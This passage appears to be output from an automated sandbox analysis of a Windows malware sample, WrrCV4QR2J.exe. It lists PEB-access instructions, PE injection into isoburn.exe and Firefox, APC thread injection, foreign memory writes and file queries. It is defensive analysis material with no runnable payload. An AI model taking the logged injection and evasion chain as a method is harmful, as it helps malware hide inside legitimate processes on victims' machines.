Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015AA830 mov eax, dword ptr fs:[00000030h]	2_2_015AA830
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01592835 mov eax, dword ptr fs:[00000030h]	2_2_01592835
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01592835 mov eax, dword ptr fs:[00000030h]	2_2_01592835
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01592835 mov eax, dword ptr fs:[00000030h]	2_2_01592835
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01592835 mov ecx, dword ptr fs:[00000030h]	2_2_01592835
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01592835 mov eax, dword ptr fs:[00000030h]	2_2_01592835
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01592835 mov eax, dword ptr fs:[00000030h]	2_2_01592835
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0163A8E4 mov eax, dword ptr fs:[00000030h]	2_2_0163A8E4
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0159E8C0 mov eax, dword ptr fs:[00000030h]	2_2_0159E8C0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015AC8F9 mov eax, dword ptr fs:[00000030h]	2_2_015AC8F9
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015AC8F9 mov eax, dword ptr fs:[00000030h]	2_2_015AC8F9
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015FC89D mov eax, dword ptr fs:[00000030h]	2_2_015FC89D
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01570887 mov eax, dword ptr fs:[00000030h]	2_2_01570887
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01606B40 mov eax, dword ptr fs:[00000030h]	2_2_01606B40
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01606B40 mov eax, dword ptr fs:[00000030h]	2_2_01606B40
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0163AB40 mov eax, dword ptr fs:[00000030h]	2_2_0163AB40
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01618B42 mov eax, dword ptr fs:[00000030h]	2_2_01618B42
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0156CB7E mov eax, dword ptr fs:[00000030h]	2_2_0156CB7E
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0161EB50 mov eax, dword ptr fs:[00000030h]	2_2_0161EB50
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015EEB1D mov eax, dword ptr fs:[00000030h]	2_2_015EEB1D
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015EEB1D mov eax, dword ptr fs:[00000030h]	2_2_015EEB1D
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015EEB1D mov eax, dword ptr fs:[00000030h]	2_2_015EEB1D
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015EEB1D mov eax, dword ptr fs:[00000030h]	2_2_015EEB1D
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015EEB1D mov eax, dword ptr fs:[00000030h]	2_2_015EEB1D
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015EEB1D mov eax, dword ptr fs:[00000030h]	2_2_015EEB1D
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015EEB1D mov eax, dword ptr fs:[00000030h]	2_2_015EEB1D
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015EEB1D mov eax, dword ptr fs:[00000030h]	2_2_015EEB1D
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015EEB1D mov eax, dword ptr fs:[00000030h]	2_2_015EEB1D
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01638B28 mov eax, dword ptr fs:[00000030h]	2_2_01638B28
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01638B28 mov eax, dword ptr fs:[00000030h]	2_2_01638B28
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0159EB20 mov eax, dword ptr fs:[00000030h]	2_2_0159EB20
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0159EB20 mov eax, dword ptr fs:[00000030h]	2_2_0159EB20
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01590BCB mov eax, dword ptr fs:[00000030h]	2_2_01590BCB
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01590BCB mov eax, dword ptr fs:[00000030h]	2_2_01590BCB
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01590BCB mov eax, dword ptr fs:[00000030h]	2_2_01590BCB
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01570BCD mov eax, dword ptr fs:[00000030h]	2_2_01570BCD
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01570BCD mov eax, dword ptr fs:[00000030h]	2_2_01570BCD
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01570BCD mov eax, dword ptr fs:[00000030h]	2_2_01570BCD
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0159EBFC mov eax, dword ptr fs:[00000030h]	2_2_0159EBFC
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01578BF0 mov eax, dword ptr fs:[00000030h]	2_2_01578BF0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01578BF0 mov eax, dword ptr fs:[00000030h]	2_2_01578BF0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01578BF0 mov eax, dword ptr fs:[00000030h]	2_2_01578BF0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015FCBF0 mov eax, dword ptr fs:[00000030h]	2_2_015FCBF0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0161EBD0 mov eax, dword ptr fs:[00000030h]	2_2_0161EBD0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01580BBE mov eax, dword ptr fs:[00000030h]	2_2_01580BBE
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01580BBE mov eax, dword ptr fs:[00000030h]	2_2_01580BBE
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0161EA60 mov eax, dword ptr fs:[00000030h]	2_2_0161EA60
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01580A5B mov eax, dword ptr fs:[00000030h]	2_2_01580A5B
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01580A5B mov eax, dword ptr fs:[00000030h]	2_2_01580A5B
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01576A50 mov eax, dword ptr fs:[00000030h]	2_2_01576A50
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01576A50 mov eax, dword ptr fs:[00000030h]	2_2_01576A50
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01576A50 mov eax, dword ptr fs:[00000030h]	2_2_01576A50
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01576A50 mov eax, dword ptr fs:[00000030h]	2_2_01576A50
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01576A50 mov eax, dword ptr fs:[00000030h]	2_2_01576A50
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01576A50 mov eax, dword ptr fs:[00000030h]	2_2_01576A50
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01576A50 mov eax, dword ptr fs:[00000030h]	2_2_01576A50
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015ECA72 mov eax, dword ptr fs:[00000030h]	2_2_015ECA72
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015ECA72 mov eax, dword ptr fs:[00000030h]	2_2_015ECA72
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015ACA6F mov eax, dword ptr fs:[00000030h]	2_2_015ACA6F
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015ACA6F mov eax, dword ptr fs:[00000030h]	2_2_015ACA6F
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015ACA6F mov eax, dword ptr fs:[00000030h]	2_2_015ACA6F
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015FCA11 mov eax, dword ptr fs:[00000030h]	2_2_015FCA11
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01594A35 mov eax, dword ptr fs:[00000030h]	2_2_01594A35
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01594A35 mov eax, dword ptr fs:[00000030h]	2_2_01594A35
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0159EA2E mov eax, dword ptr fs:[00000030h]	2_2_0159EA2E
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015ACA24 mov eax, dword ptr fs:[00000030h]	2_2_015ACA24
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01570AD0 mov eax, dword ptr fs:[00000030h]	2_2_01570AD0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015A4AD0 mov eax, dword ptr fs:[00000030h]	2_2_015A4AD0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015A4AD0 mov eax, dword ptr fs:[00000030h]	2_2_015A4AD0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015C6ACC mov eax, dword ptr fs:[00000030h]	2_2_015C6ACC
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015C6ACC mov eax, dword ptr fs:[00000030h]	2_2_015C6ACC
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015C6ACC mov eax, dword ptr fs:[00000030h]	2_2_015C6ACC
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015AAAEE mov eax, dword ptr fs:[00000030h]	2_2_015AAAEE
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015AAAEE mov eax, dword ptr fs:[00000030h]	2_2_015AAAEE
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015A8A90 mov edx, dword ptr fs:[00000030h]	2_2_015A8A90
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0157EA80 mov eax, dword ptr fs:[00000030h]	2_2_0157EA80
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0157EA80 mov eax, dword ptr fs:[00000030h]	2_2_0157EA80
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0157EA80 mov eax, dword ptr fs:[00000030h]	2_2_0157EA80
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0157EA80 mov eax, dword ptr fs:[00000030h]	2_2_0157EA80
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0157EA80 mov eax, dword ptr fs:[00000030h]	2_2_0157EA80
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0157EA80 mov eax, dword ptr fs:[00000030h]	2_2_0157EA80
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0157EA80 mov eax, dword ptr fs:[00000030h]	2_2_0157EA80
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0157EA80 mov eax, dword ptr fs:[00000030h]	2_2_0157EA80
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0157EA80 mov eax, dword ptr fs:[00000030h]	2_2_0157EA80
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01644A80 mov eax, dword ptr fs:[00000030h]	2_2_01644A80
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01578AA0 mov eax, dword ptr fs:[00000030h]	2_2_01578AA0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01578AA0 mov eax, dword ptr fs:[00000030h]	2_2_01578AA0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015C6AA4 mov eax, dword ptr fs:[00000030h]	2_2_015C6AA4
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01608D6B mov eax, dword ptr fs:[00000030h]	2_2_01608D6B
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01570D59 mov eax, dword ptr fs:[00000030h]	2_2_01570D59
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01570D59 mov eax, dword ptr fs:[00000030h]	2_2_01570D59
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01570D59 mov eax, dword ptr fs:[00000030h]	2_2_01570D59
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01578D59 mov eax, dword ptr fs:[00000030h]	2_2_01578D59
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01578D59 mov eax, dword ptr fs:[00000030h]	2_2_01578D59
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01578D59 mov eax, dword ptr fs:[00000030h]	2_2_01578D59
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01578D59 mov eax, dword ptr fs:[00000030h]	2_2_01578D59
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01578D59 mov eax, dword ptr fs:[00000030h]	2_2_01578D59
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01566D10 mov eax, dword ptr fs:[00000030h]	2_2_01566D10
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01566D10 mov eax, dword ptr fs:[00000030h]	2_2_01566D10
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01566D10 mov eax, dword ptr fs:[00000030h]	2_2_01566D10
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015A4D1D mov eax, dword ptr fs:[00000030h]	2_2_015A4D1D
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0158AD00 mov eax, dword ptr fs:[00000030h]	2_2_0158AD00
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0158AD00 mov eax, dword ptr fs:[00000030h]	2_2_0158AD00
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0158AD00 mov eax, dword ptr fs:[00000030h]	2_2_0158AD00
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01628D10 mov eax, dword ptr fs:[00000030h]	2_2_01628D10
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_01628D10 mov eax, dword ptr fs:[00000030h]	2_2_01628D10

Source: C:\Users\user\Desktop\WrrCV4QR2J.exe

Memory allocated: page read and write | page guard

Injects a PE file into a foreign processes

HIPS / PFW / Operating System Protection Evasion

Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Memory written: C:\Users\user\Desktop\WrrCV4QR2J.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Windows\SysWOW64\isoburn.exe	Memory written: C:\Program Files\Mozilla Firefox\firefox.exe base: 7FF6BF500000 value starts with: 4D5A			Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Section loaded: unknown target: C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Section loaded: unknown target: C:\Windows\SysWOW64\isoburn.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\isoburn.exe	Section loaded: unknown target: C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\isoburn.exe	Section loaded: unknown target: C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\isoburn.exe	Section loaded: unknown target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\isoburn.exe	Section loaded: unknown target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\isoburn.exe

Thread APC queued: target process: C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\isoburn.exe

Memory written: C:\Program Files\Mozilla Firefox\firefox.exe base: 7FF6BF500000

Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Process created: C:\Users\user\Desktop\WrrCV4QR2J.exe C:\Users\user\Desktop\WrrCV4QR2J.exe	Jump to behavior
Source: C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe	Process created: C:\Windows\SysWOW64\isoburn.exe C:\Windows\SysWOW64\isoburn.exe	Jump to behavior
Source: C:\Windows\SysWOW64\isoburn.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\Firefox.exe	Jump to behavior

Source: UHPrrMeffyCaz.exe, 00000003.00000000.1714375037.0000000001120000.00000002.00000001.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000003.00000002.4120941412.0000000001120000.00000002.00000001.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000000.1846320823.0000000001090000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: UHPrrMeffyCaz.exe, 00000003.00000000.1714375037.0000000001120000.00000002.00000001.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000003.00000002.4120941412.0000000001120000.00000002.00000001.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000000.1846320823.0000000001090000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: UHPrrMeffyCaz.exe, 00000003.00000000.1714375037.0000000001120000.00000002.00000001.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000003.00000002.4120941412.0000000001120000.00000002.00000001.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000000.1846320823.0000000001090000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: UHPrrMeffyCaz.exe, 00000003.00000000.1714375037.0000000001120000.00000002.00000001.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000003.00000002.4120941412.0000000001120000.00000002.00000001.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000000.1846320823.0000000001090000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Users\user\Desktop\WrrCV4QR2J.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Speech\v4.0_4.0.0.0__31bf3856ad364e35\System.Speech.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
